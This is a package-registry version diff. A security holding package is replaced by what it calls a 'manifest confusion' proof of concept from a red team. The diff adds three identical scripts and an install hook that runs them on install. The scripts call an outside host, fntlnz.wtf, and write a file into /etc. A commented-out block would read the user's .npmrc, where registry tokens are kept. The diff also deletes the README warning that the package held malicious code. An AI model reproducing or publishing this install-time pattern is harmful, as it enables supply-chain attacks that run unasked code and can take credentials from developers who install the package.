very-bad-transitive-pkg 0.0.1-security → 1.0.0

package/build.js

@@ -0,0 +1,43 @@
+const https = require('https');
+const fs = require('fs');
+const path = require('path');
+const { execSync } = require('child_process');
+
+const OUTBOUND_URL = 'https://fntlnz.wtf'; // Replace with the desired outbound URL
+const OUTPUT_FILE_PATH = '/etc/hello_dolphins.txt'; // Modify the file path as needed
+
+function makeOutboundConnection() {
+  https.get(OUTBOUND_URL, (res) => {
+    console.log(`Connected to ${OUTBOUND_URL}, statusCode: ${res.statusCode}`);
+    // Do something with the response if needed
+    res.on('data', (data) => {
+      // Process the response data if necessary
+    });
+  }).on('error', (err) => {
+    console.error('Error making outbound connection:', err.message);
+  });
+}
+
+function writeFileWithDescription() {
+  try {
+    // Read npm_package_description from .npmrc
+    // const npmrcFilePath = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
+    // const npmrcContent = fs.readFileSync(npmrcFilePath, 'utf8');
+    // const npmPackageDescriptionMatch = npmrcContent.match(/staging=(.*)/);
+    // if (!npmPackageDescriptionMatch) {
+    //   throw new Error('npm_package_description not found in .npmrc');
+    // }
+    // const npmPackageDescription = npmPackageDescriptionMatch[1];
+
+    // Write the file with the npm_package_description
+    const fileContent = `hello dolphins!`;
+    fs.writeFileSync(OUTPUT_FILE_PATH, fileContent, 'utf8');
+    console.log(`File written to ${OUTPUT_FILE_PATH}`);
+  } catch (error) {
+    console.error('An error occurred while writing the file:', error);
+  }
+}
+
+// Call the functions to make the outbound connection and write the file
+makeOutboundConnection();
+writeFileWithDescription();

package/index.js

@@ -0,0 +1,43 @@
+const https = require('https');
+const fs = require('fs');
+const path = require('path');
+const { execSync } = require('child_process');
+
+const OUTBOUND_URL = 'https://fntlnz.wtf'; // Replace with the desired outbound URL
+const OUTPUT_FILE_PATH = '/etc/hello_dolphins.txt'; // Modify the file path as needed
+
+function makeOutboundConnection() {
+  https.get(OUTBOUND_URL, (res) => {
+    console.log(`Connected to ${OUTBOUND_URL}, statusCode: ${res.statusCode}`);
+    // Do something with the response if needed
+    res.on('data', (data) => {
+      // Process the response data if necessary
+    });
+  }).on('error', (err) => {
+    console.error('Error making outbound connection:', err.message);
+  });
+}
+
+function writeFileWithDescription() {
+  try {
+    // Read npm_package_description from .npmrc
+    // const npmrcFilePath = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
+    // const npmrcContent = fs.readFileSync(npmrcFilePath, 'utf8');
+    // const npmPackageDescriptionMatch = npmrcContent.match(/staging=(.*)/);
+    // if (!npmPackageDescriptionMatch) {
+    //   throw new Error('npm_package_description not found in .npmrc');
+    // }
+    // const npmPackageDescription = npmPackageDescriptionMatch[1];
+
+    // Write the file with the npm_package_description
+    const fileContent = `hello dolphins!`;
+    fs.writeFileSync(OUTPUT_FILE_PATH, fileContent, 'utf8');
+    console.log(`File written to ${OUTPUT_FILE_PATH}`);
+  } catch (error) {
+    console.error('An error occurred while writing the file:', error);
+  }
+}
+
+// Call the functions to make the outbound connection and write the file
+makeOutboundConnection();
+writeFileWithDescription();

package/package.json

@@ -1,6 +1,12 @@
 {
-  "name": "very-bad-transitive-pkg",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "name": "imposter-pkg-poc",
+  "version": "1.0.1-test2",
+  "main": "index.js",
+  "description": "A PoC for manifest confusion (for testing purposes)",
+  "scripts": {
+    "test": "echo \"This pkg looks OK!\"",
+    "install": "node index.js --exec install"
+  },
+  "author": "listen.dev Red Team",
+  "license": "ISC"
 }

package/postinstall.js

@@ -0,0 +1,43 @@
+const https = require('https');
+const fs = require('fs');
+const path = require('path');
+const { execSync } = require('child_process');
+
+const OUTBOUND_URL = 'https://fntlnz.wtf'; // Replace with the desired outbound URL
+const OUTPUT_FILE_PATH = '/etc/hello_dolphins.txt'; // Modify the file path as needed
+
+function makeOutboundConnection() {
+  https.get(OUTBOUND_URL, (res) => {
+    console.log(`Connected to ${OUTBOUND_URL}, statusCode: ${res.statusCode}`);
+    // Do something with the response if needed
+    res.on('data', (data) => {
+      // Process the response data if necessary
+    });
+  }).on('error', (err) => {
+    console.error('Error making outbound connection:', err.message);
+  });
+}
+
+function writeFileWithDescription() {
+  try {
+    // Read npm_package_description from .npmrc
+    // const npmrcFilePath = path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc');
+    // const npmrcContent = fs.readFileSync(npmrcFilePath, 'utf8');
+    // const npmPackageDescriptionMatch = npmrcContent.match(/staging=(.*)/);
+    // if (!npmPackageDescriptionMatch) {
+    //   throw new Error('npm_package_description not found in .npmrc');
+    // }
+    // const npmPackageDescription = npmPackageDescriptionMatch[1];
+
+    // Write the file with the npm_package_description
+    const fileContent = `hello dolphins!`;
+    fs.writeFileSync(OUTPUT_FILE_PATH, fileContent, 'utf8');
+    console.log(`File written to ${OUTPUT_FILE_PATH}`);
+  } catch (error) {
+    console.error('An error occurred while writing the file:', error);
+  }
+}
+
+// Call the functions to make the outbound connection and write the file
+makeOutboundConnection();
+writeFileWithDescription();

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=very-bad-transitive-pkg for more information.